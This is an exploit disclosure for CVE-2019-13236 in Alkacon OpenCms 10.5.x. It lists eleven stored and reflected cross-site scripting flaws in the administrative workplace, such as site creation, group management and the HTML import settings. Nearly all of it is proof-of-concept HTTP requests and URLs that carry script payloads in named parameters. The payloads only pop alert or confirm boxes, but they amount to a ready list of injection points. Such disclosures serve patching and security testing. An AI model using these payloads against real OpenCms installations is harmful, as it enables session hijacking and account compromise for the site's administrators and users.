# Exploit Title: Alkacon OpenCMS 10.5.x - Multiple XSS in Alkacon OpenCms
Site Management
# Google Dork: N/A
# Date: 18/07/2019
# Exploit Author: Aetsu
# Vendor Homepage: http://www.opencms.org
# Software Link: https://github.com/alkacon/opencms-core
# Version: 10.5.x
# Tested on: 10.5.5 / 10.5.4
# CVE : CVE-2019-13236
1. In Site Management > New site (Stored XSS):
- Affected resource title.0:
POC:
```
POST /system/workplace/admin/sites/new.jsp HTTP/1.1
Host: example.com
title.0=%3Csvg+onload%3Dalert%28%27Title%27%29%3E&sitename.0=%3Csvg+onload%3Dalert%28%27Folder+name%27%29%3E&se
```
2. In Treeview (Reflected XSS):
- Affected resource type:
POC:
```
http://example.com/opencms/system/workplace/views/explorer/tree_fs.jsp?type=
</script><script>confirm(1)</script>&includefiles=true&showsiteselector=true&projectaware=false&treesite=
```
3. In Workspace tools > Login message (Stored XSS):
- Affected resource message.0:
POC:
```
POST /system/workplace/admin/workplace/loginmessage.jsp HTTP/1.1
Host: example.com
enabled.0=true&enabled.0.value=true&message.0=<svg
onload=alert(1)>&loginForbidden.0.value=false&ok=Ok&elementname=undefined&path=%252Fworkplace%252Floginmessage&elementindex=0&action=save&closelink=%252Fsystem%252Fworkplace%252Fviews%252Fadmin%252Fadmin-main.jsp%253Fpath%253D%252Fworkplace&style=new&page=page1&framename=
```
4. In Index sources > View index sources > New index source (Stored XSS):
- Affected resource name.0:
POC:
```
POST /system/workplace/admin/searchindex/indexsource-new.jsp HTTP/1.1
Host: example.com
name.0=%3Csvg+onload%3Dalert%28%27Name%27%29%3E&indexerClassName.0=org.opencms.search.CmsVfsIndexer&ok=Ok&elementname=undefined&path=%252Fsearchindex%252Findexsources%252Findexsource-new&elementindex=0&action=save&closelink=%252Fsystem%252Fworkplace%252Fviews%252Fadmin%252Fadmin-main.jsp%253Fpath%253D%252Fsearchindex%252Findexsources%2526action%253Dinitial&style=new&page=page1&framename=
```
5. In Index sources > View field configuration > New field configuration
(Stored XSS):
- Affected resource name.0:
POC:
```
POST /system/workplace/admin/searchindex/fieldconfiguration-new.jsp HTTP/1.1
Host: example.com
name.0=%3Csvg+onload%3Dalert%28%27Name%27%29%3E&ok=Ok&elementname=undefined&path=%252Fsearchindex%252Ffieldconfigurations%252Ffieldconfiguration-new&elementindex=0&action=save&closelink=%252Fsystem%252Fworkplace%252Fviews%252Fadmin%252Fadmin-main.jsp%253Fpath%253D%252Fsearchindex%252Ffieldconfigurations%2526action%253Dinitial&style=new&page=page1&framename=
```
6. In Account Management > Impor/Export user data (Reflected XSS):
- Affected resource oufqn:
POC:
```
POST /system/workplace/admin/accounts/imexport_user_data/export_csv.jsp
HTTP/1.1
Host: example.com
groups.0=Users&ok=Ok&oufqn=</script><script>confirm(1)</script>&elementname=undefined&path=%252Faccounts%252Forgunit%252Fimexport%252Fexportcsv&elementindex=0&action=save&closelink=%252Fsystem%252Fworkplace%252Fviews%252Fadmin%252Fadmin-main.jsp%253Fpath%253D%252Faccounts%252Forgunit%252Fimexport%2526action%253Dinitial&style=new&page=page1&framename=
```
7. In Account Management > Group Management > New Group (Stored XSS):
- Affected resources name.0 and description.0:
POC:```
POST /system/workplace/admin/accounts/group_new.jsp HTTP/1.1
Host: example.com
name.0=%3Cimg+src%3D.+onerror%3Dalert%28%27Name%27%29%3E&description.0=%3Cimg+src%3D.+onerror%3Dalert%28%27Description%27
```
8. In Account Management > Organizational Unit > Organizational Unit
Management > New sub organizational unit (Stored XSS):
- Affected resources parentOuDesc.0 and resources.0:
POC:```
POST /system/workplace/admin/accounts/unit_new.jsp HTTP/1.1
Host: example.com
name.0=%3Cimg+src%3D.+onerror%3Dalert%28%27Name%27%29%3E&description.0=%3Cimg+src%3D.+onerror%3Dalert%28%27D
```
9. In Link Validator > External Link Validator > Validate External Links
(Reflected XSS):
- Affected resources reporttype, reportcontinuekey and title:
POC:```
POST
/system/workplace/views/admin/admin-main.jsp?path=%2Flinkvalidation%2Fexternal%2Fvalidateexternallinks
HTTP/1.1
Host: example.com
dialogtype=imp&reporttype=extended66955%22%3balert(1)%2f%2f297&reportcontinuekey=&title=External%2BLink%2BValidation&path=%252Flinkvalidation%252Fexternal%252Fvalidateexternallinks&threadhasnext=&action=confirmed&closelink=%252Fsystem%252Fworkplace%252Fviews%252Fadmin%252Fadmin-main.jsp%253Fpath%253D%252Flinkvalidation%252Fexternal&style=new&framename=&ok=OK
```
10. In Administrator view > Database management > Extended html import >
Default html values (Reflected XSS):
- Affected resources destinationDir.0, imageGallery.0, linkGallery.0,
downloadGallery.0:
POC:```
POST /system/workplace/admin/database/htmlimport/htmldefault.jsp HTTP/1.1
Host: example.com
------WebKitFormBoundaryLyJOmAtrd8ArxNqf
Content-Disposition: form-data; name="inputDir.0"
.
------WebKitFormBoundaryLyJOmAtrd8ArxNqf
Content-Disposition: form-data; name="destinationDir.0"
/whbo0"><script>alert(1)</script>nrbhd
------WebKitFormBoundaryLyJOmAtrd8ArxNqf
Content-Disposition: form-data; name="imageGallery.0"
------WebKitFormBoundaryLyJOmAtrd8ArxNqf
Content-Disposition: form-data; name="downloadGallery.0"
------WebKitFormBoundaryLyJOmAtrd8ArxNqf
Content-Disposition: form-data; name="linkGallery.0"
[...]
```
11. In Administrator view > Database management > Extended html import >
Default html values (Reflected XSS):
- Affected resources destinationDir.0, imageGallery.0, linkGallery.0 and
downloadGallery.0:
POC:
```
POST /system/workplace/admin/database/htmlimport/htmlimport.jsp HTTP/1.1
Host: example.com
------WebKitFormBoundary6fy3ENawtXT0qmgB
Content-Disposition: form-data; name="inputDir.0"
gato
------WebKitFormBoundary6fy3ENawtXT0qmgB
Content-Disposition: form-data; name="destinationDir.0"
testszfgw"><script>alert(1)</script>vqln7
------WebKitFormBoundary6fy3ENawtXT0qmgB
Content-Disposition: form-data; name="imageGallery.0"
test
------WebKitFormBoundary6fy3ENawtXT0qmgB
Content-Disposition: form-data; name="downloadGallery.0"
test
------WebKitFormBoundary6fy3ENawtXT0qmgB
Content-Disposition: form-data; name="linkGallery.0"
test
[...]
```
Extended POCs: https://aetsu.github.io/OpenCms
